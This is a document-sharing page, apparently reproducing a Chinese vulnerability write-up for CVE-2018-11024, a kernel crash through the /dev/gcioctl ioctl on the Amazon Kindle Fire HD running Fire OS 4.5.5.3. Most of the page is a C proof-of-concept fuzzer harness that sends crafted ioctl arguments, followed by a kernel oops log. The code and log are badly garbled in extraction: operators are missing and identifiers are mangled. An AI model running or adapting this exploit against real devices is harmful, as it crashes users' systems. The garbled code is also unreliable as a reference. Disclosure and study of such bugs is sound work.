《(CVE-2018-11024)Amazon Kindle Fire HD (3rd) Fire OS kernel组件安全漏洞.docx》由会员分享,可在线阅读,更多相关《(CVE-2018-11024)Amazon Kindle Fire HD (3rd) Fire OS kernel组件安全漏洞.docx(15页珍藏版)》请在三一办公上搜索。
1、(CVE-2018-11024) Amazon Kindle Fire HD (3rd) Fire OS kernel 组件安全漏洞一、漏洞简介Amazon Kindle Fire HD (3rd) FireOS 4.5.5.3 的内核组件中的内核模块 omapdriversmiscgcxgcioctlgcif.c 允许攻击者通过设备/ dev 上 ioctl 的参数 注入特制参数/gcioctl使用命令1077435789并导致内核崩溃。二、漏洞影响Fire OS 4.5.5.3三、复现过程poc#include #include /strlen#include#include /inet_
2、addr#include /write#include #include #include #include #include / Socket boilerplate code taken from here: http:/ server-client-example-c-sockets-Iinux/ *seed, ioctl-idj num-mappingsj num-blobs dev-name-lenj dev-name map_e ntry_t_arr, blobs*/int debug = 1;typedef struct int src_id;int dst_id;int off
3、set; map_entry_t;short tiny_vals18 = 128, 127, 64, 63, 32, 31, 16, 15, 8, 7t % 3, 2,1, 0, 256, 255, -1;int *small_vals;int num_small_vals;/ populates small_vals when calledvoid populate_arrs(int top) int num = 1;int count = 0;while (num top) /printf(,%dn num);num = 1;small_vals = malloc(sizeof(int)*
4、count);memset(small_vals, 0, count);int i = 0;while(num 1) small_valsi = num;i+;small-valsi = num-1;i+;num = 1;small_valsi = 0;small_valsi+l = top;small_valsi+2 = top-1;small_valsi+3 = -1;)/ generate a random value of size size and store it in elem./ value has a weight % chance to be a small valuevo
5、id gen_rand_val(int size, char *elemj int small_weight) int i;if (rand() % 100) small_weight) / do small thingunsigned int idx = (rand() % num_small_vals); printf(Choosing %dn, small-valsidx);switch (size) case 2:idx = (rand() % 18);(short *)elem = tiny_valsidx; break;case 4:*(int *)elem = small_val
6、sidx; break;case 8:*(long long*)elem = small_valsidx;break;default:printf(Damn bro. Size: %dn,j size);exit(-l);else for(i=0; i size; i+) elemi = (char)(rand ()%0xl00);int main(int argc i char *argv)int num_blobs = 0, num_mappings = j i = 0, dev_name_len = 0, j;unsigned int ioctl_id = 0;char *dev_nam
7、e;void *tmp;char *ptr_arr;int *len_arr;unsigned int seed;int sockfd , client_sock i c , read_size;struct sockaddr_in server , client;int msg_size;void *generic_arr264;/ max val for small_vals arrayint top = 8192;int ent = 0;/ chance that our generics are filled with small vals,int default_weight = 5
8、0;populate_arrs(top);int retest = 1;goto rerun;sockfd = socket(AF_INET , SOCK_STREAM , 0);if (sockfd = -1) (printf(nCould not create socket);puts(,Socket created);setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &(int) 1 , sizeof(in t);server.sin_family = AF_INET;server.sin_addr.s_addr = INADDR_ANY;serv
9、er.sin_port = htons(atoi(argvl);/Bindif( bind(sockfdj(struct sockaddr *)&server , sizeof(server) 0) /print the error messageperror(bind failed. Error*1);return 1;puts(,bind done);listen:/ Listenlisten(sockfd , 3);puts(Waiting for incoming connections.);c = sizeof(struct sockaddr_in);/ accept connect
10、ion from an incoming clientclient_sock = accept(sockfd, (struct sockaddr *)&client, (socklen_t *)&c);if (client_sock 0 ) ( recv the entire messagechar *recv_buf = calloc(msg_size, sizeof(char);if (recv_buf = NULL) printf(Failed to allocate recv_bufn);exit(-l);int nrecvd = recv(client_sock, recv_bufj
11、 msg_size, 0);if (nrecvd != msg_size) printf(Error getting all data!n);printf(,nrecvd: %dnmsg_size:%dn, nrecvd, msg_size); eit(-l);/ quickly save a copy of the most recent dataint savefd = open(sdcardsaved, O_WRONLYO_TRUNCO_CREAT, 06 44);if (savefd 0) perror(open saved); exit(-l);int err = Write(SaV
12、efd, recv_bufj msg_size);if (err != msg_size) perror(write saved); exit(-l);fsync(savefd);close(savefd);rerun:if (retest) recv_buf = calloc(msg_sizej sizeof(char);int fd = open(,sdcardsavedj O_RDONLY);if (fd 0) perror(open:);exit(-l);int fsize = lseek(fd, 0, SEEK_END);printf(file size: %dn, fsize);l
13、seek(fdj 0, SEEK_SET); read(fdj recv_buffsize);)char *head = recv_buf;seed = 0;/seed, ioctl-idj num_mappings, num-blobsj dev_name_len, dev_na me, map_entry_t_arri blob-len-arrj blobsmemcpy(8tseedj head, 4);head += 4;memcpy(Sioctl-idj head, 4);head += 4;memcpy(&num_mappings, head, 4);head += 4;memcpy
14、(Snum-blobsj head, 4);head += 4;memcpy(&dev_name_len, head, 4);head += 4;/ srand with new seed srand(seed);* dev name */dev_name = calloc(dev-name-len+lj sizeof(char); if (dev_name = NULL) printf(Failed to allocate dev_namen); exit(-l);)memcpy(dev_name, head, dev_name_len);head += dev_name_len;* map
15、 */map_entry_t *map = calloc(num-mappingsj sizeof(map_entry_t); if (map = NULL) printf(Failed to allocate mapn);exit(-l);if (num_mappings != 0) memcpy(map, head, num_mappings*sizeof(map_entry_t);head += num_mappings*sizeof(map_entry_t);)* blobs */ first create an array to store the sizes themselves
16、len_arr = calloc(num-blobsj sizeof(int);if (len_arr = NULL) printf(Failed to allocate len_arrn);exit(-l);)/ we11 also want an array to store our pointersptr_arr = calloc(num-blobsj sizeof(void *);if (ptr_arr = NULL) printf(Failed to allocate ptr-arrn);eit(-l);/ copy the blob sizes into our size_arrf
17、or (j=0; j num_blobs; j+) memcpy(&len_arrjj head, sizeof(int);head += sizeof(int);)/ well also want memory bufs for all blobs/ now that we have the sizes, allocate all the buffers we needfor (j=0; j num_blobs; j+) ptr_arrj = calloc(len_arrj, sizeof(char);printf(,Sizeof(ptr_arr%d)=%dn, j, len_arrj);p
18、rintf(ptr-arr%d=%pn, j, ptr_arrj)7/printf(,just added %p to ptr_arrn ptr_arrj);if (ptr-arrj = NULL) printf(Failed to allocate a blob storen);exit(-l);)/ might as well copy the memory over as soon as we allocat e the spacememcpy(char *)ptr_arrj, head, len_arrj);printf(,ptr-arr%d=n, j);for(i=0;ilen-ar
19、rj;i+=4)printf(0x%08n, *(unsigned int *)(ptr_arrj + i);)printf(,);head += len_arrj;int num_generics = 0;/ time for pointer fixupfor (i=0; i num_mappings; i+) / get out entrymap_entry_t entry = mapi;/ pull out the struct to be fixed upchar *tmp = ptr_arrentry.src-id;/ check if this is a struct ptr or
20、 just a generic one/ just a generic oneif (entry.dst_id ) int buf_len = 128;char *tmp_generic = malloc(buf_len);memset(tmp_generic, , buf_len);/ 95% chance we fill it with dataif (rand() % 100) 95) / if dst_id is 8) weight = 0;else weight = default_weight;for (i=0; i = 264) printf(Code a better solu
21、tion for storing gene ricsn);exit(l);)/ a struct ptr, so we have the dataelse / 1 in 400 chance we dont fixupif ( (rand() % 400) 0) / now point it to the correct struct/blob/ printf(placing %p, at %pnt, ptr_arrentry.dst_ id, tmp+entry.offset);memcpy(tmp+entry.offset, &ptr_arrentry.dst_id, si zeof(vo
22、id );if (debug) printf(ioctl_id: %dn”, ioctl_id);printf(num_mappings: %dn, num_mappings);printf(num_blobs: %dn”, num_blobs);printf(dev_name_len: %dn, dev_name_len);printf(dev_name: %snj dev_name);printf(,data: n);/printf(0x%x)nj *(int *)&ptr_arr0);printf(,(0%p) : , &ptr_arr0printf(,(0%0161x)n, *(uns
23、igned long int *)ptr_arr0);printf(0x%p) : “, (&ptr_arr0+l*8);8);printf(,(0x%0161x)nj *(unsigned long int *)(ptr_arr0+l* printf(,(0x%p) : , (&ptr_arr0+2*8);8);printf(,(0x%0161)n, *(unsigned long int *)(ptr_arr0+2* printf(0x%p) : , (&ptr_arr0+3*8);printf(0x%0161x)n, *(unsigned long int *)(ptr_arr0+3*
24、8);printf(0x%p) : , (&ptr_arr0+4*8);printf(0x%0161)n, *(unsigned long int *)(ptr_arr0+4* 8);/printf(0%0161x)nj *(unsigned long int *)(ptr_arr0+ 5*8);/printf(0%l61)ni *(unsigned long int *)(ptr_arr0+ 6*8);/printf(0x%x)n, (int *)ptr_arr, (int *)ptr_arr);/ time for the actual ioctl/printf(Try to open d
25、evice %sn, dev_name);/fflush(stdout);int fd = open(dev-namej O_RDONLY);if (fd 0) perror(open);eit(-l); else printf(Open devied %s successfully.n,j dev_name);/fflush(stdout);/printf(Try to call ioctl(fd=%d, ioctl_id=%d, ptr-arr=%p)n, fd, ioctl_id, ptr_arr0);fflush(stdout);printf(,%10d:, cnt+);if (ioc
26、tl(fdj ioctl_id, ptr_arr0) = -1)perror(ioctl)elseprintf(good hitn);close(fd);printf(device %s closedn dev_name);if (retest)exit(0);fflush(stdout);/ okay now free all the shit we allocedfree(recv_buf);free(dev_name);if (map != NULL) free(map);free(len_arr);for (i=0; i num_blobs; i+) /printf(%dfree,in
27、g %pnj i, ptr_arri); free(ptr_arri);free(ptr_arr);for (i=0; i num_generics; i+) free(generic_arri);write(client-sockj &msg_size, 4);msg_size = 0;if(read_size = 0)puts(,Client disconnected);fflush(stdout);close(client_sock);goto listen;else if(read_size = -1)(perror(recv failed);崩溃日志144.428375S d9000
28、00c144.436462144.439697144.443939144.450012144.4576721)144.465118144.469940144.474670144.474670144.487640144.493621return 0; )Unable to handle kernel paging request at virtual addres pgd = dcac0000d900000C *pgd=00000000Internal error: Oops: 5 #1 PREEMPT SMP ARMModules linked in: omaplfb(0) pvrsrvkm(
29、O) pvr_logger(0)CPU: 0 Tainted: G0 (3.4.83-gd2afc0bae69 #PC is at c2dm-llcache+0x300100LR is at dev_ioctl+0x3f0/0xl0c4pc : Ir : psr: a0000013sp :c2d6be38ip:00000000fp:c2d6b6crl:00000000r9:d8c0cca8r8:00b8dd90r7 :00000000r6:c2d6bea4r5:00b8dd90r4 : 388b77C4144.500915 r3 : d9000004r2 : 75e0cl21 rl : c2d
30、6bea4 r0 : 00000000144.508331 Flags: NzCv IRQs on FIQs on Mode SVC_32 ISA ARM Segment user144.516418 Control: 10c5387d Table: 9cac004a DAC: 00000015144.522827144.522857 PC: 0xc031872c:144.527954 872c e51b2034 e592300c eaffffa5 e30c281c e34c209d e5923000 e3530000 Iaffffbd144.538482 874c eaffffc0e51b3
31、03c e51bl040 e2833001 e51b2034 el530001 e50b303c e2822010144.549163 876c e50b2034Iaffff8c eaffff83 c09dc81c ela0c00d e92ddff0 e24cb004 e24dd00c144.559844 878c e3500000ela07002 e50b0030 da00000d e0814200 ela06001 ela03001 e3a02000144.570404 87ac e5930008e593c004 e2833010 el530004 e022209c Iafffff9 e3
32、520902 3a000003144.581085 87cc e35700029a000022 e24bd028 e89daff0 e59f9090 e2818008 e3aa000 e5963008144.591735 87ec e5184008e3530000 13a05000 la00000a ea000010 e5181004 e5993024 e0841001144.602416 880c el2fff33e5962008 e2855001 e596300c el550002 e0844003 2a000006 e2572000144.612976144.612976 LR: 0xc
33、03177ac:144.618072 77ac ebf55cl5eaffff35 e3053d8d e3443038 el510003 Iaffff30 ela0200d e3c23d7f144.628631 77cc e3c3303fe24b0064 e5933008 e2952038 30d22003 33a03000 e3530000 Ia0001a8144.639160 77ec ela01005e3a02038 ebfcfa90 e3500000 la00000e e51b2030 e3520001 0a0001cb144.649780 780c e35200020a0001ee e
34、3520000 la000007 e51b0064 e3a02000 e24bl060 eb0003d3 144.660369 782c e51b0064e24bl060 e51b2030 eb000338 e3a05000 eaffffll e24bl064 e50bl088144.670776 784c e51b0088e3a01010 ebfd03cl e3a03004 e50b3064 e5963008 e2952004 30d22003144.681213 786c 33a03000e3530000 0a0001c5 e3e0500d eaffff02 ela0200d e3c26d
35、7f e3c6603f144.691528 788c e5963008e2952008 30d22003 33a03000 e3530000 la000021 e24b3064 ela01005144.701995144.701995 SP: 0xc2d6bdb8:144.706878 bdb8 c2d6be2400b8dd90 c2d6bdec c2d6bdd0 C00084d0 c03187ac a0000013 ffffffff144.717407 bdd8 c2d6be2400b8dd90 c2d6be6c c2d6bdf0 C06a5318 c0008370 00000000 c2d
36、6bea4144.727905 bdf8 75e0cl21d9000004 388b77c4 00b8dd90 c2d6bea4 00000000 00b8dd90 d8c0cca8144.738586 bel8 00000000 c2d6be6c 7ac a0000013 ffffffff00000000 C2d6be38 c031782c C0318144.749145 be38 C02ba53c 575b4b92 00b dcae46c0 00b8dd90d8578000 00000000 00b8dd90 00000144.759796 be58 d8c0cca8 0000000078
37、8 00000001 00000088C2d6bf04 c2d6be70 c031782c C0318144.770355 be78 000ffeff 00000001920 00000027 d7ce5000c2d6bedc c2d6be90 C0207454 c00bd144.781005 be98 c2d6bed4 c2d6bea8 5c7 00000000 00020261144.791687144.791687 FP: 0xc2d6bdec:575b4b92 4ccba3b5 47a0578f 83b27144.796661 bdec c0008370 000000007c4 00b
38、8dd90 c2d6bea4c2d6bea4 75e0cl21 d9000004 388b7144.807189 be0c 00000000 00b8dd90 000 C2d6be38 c031782cd8c0cca8 00000000 c2d6be6c 00000 144.817840 be2c C03187ac a0000013000 00000000 00b8dd90ffffffff C02ba53c 575b4b92 d8578144.828399 be4c 0000000b dcae46c0 f04 c2d6be70 c031782c00b8dd90 d8c0cca8 0000000
39、0 c2d6b144.839080 be6c C0318788 00000001 edc c2d6be90 c020745400000088 000ffeff 00000001 c2d6b144.849761 be8c C00bd920 00000027 b92 4ccba3b5 47a0578fd7ce5000 c2d6bed4 c2d6bea8 575b4144.860290 beac 83b275c7 00000000 000 00000000 0000000000020261 00000000 00000000 00000144.870971 becc 00000000 0000000
40、0 6c0 0000000b dcae46c0144.881652144.881652 Rl: 0xc2d6be24:00000000 C02089fc 00000000 dcae4144.886627 be24 c2d6be38 c031782c 53c 575b4b92 d8578000c03187ac a0000013 ffffffff c02ba144.897308 be44 00000000 00b8dd90 ca8 00000000 c2d6bf040000000b dcae46c0 00b8dd90 d8c0c144.907989 be64 c2d6be70 C031782c e
41、ff 00000001 c2d6bedcC0318788 00000001 00000088 000ff144.918518 be84 c2d6be90 C0207454 ed4 c2d6bea8 575b4b92C00bd920 00000027 d7ce5000 c2d6b144.929199 bea4 4ccba3b5 47a0578f 000 00000000 0000000083b275c7 00000000 00020261 00000 144.939849 bec4 00000000 00000000 9fc 00000000 dcae46c000000000 00000000 00000000 C0208144.950531 bee4 0000000b dcae46c0 f74 C2d6bf08 C013604400b8dd90 d8c0cca8 00000000 c2d6b144.961059 bf04 C0317448 00000000 000 dd045190 dcf8c440144.971710144.971710 R3: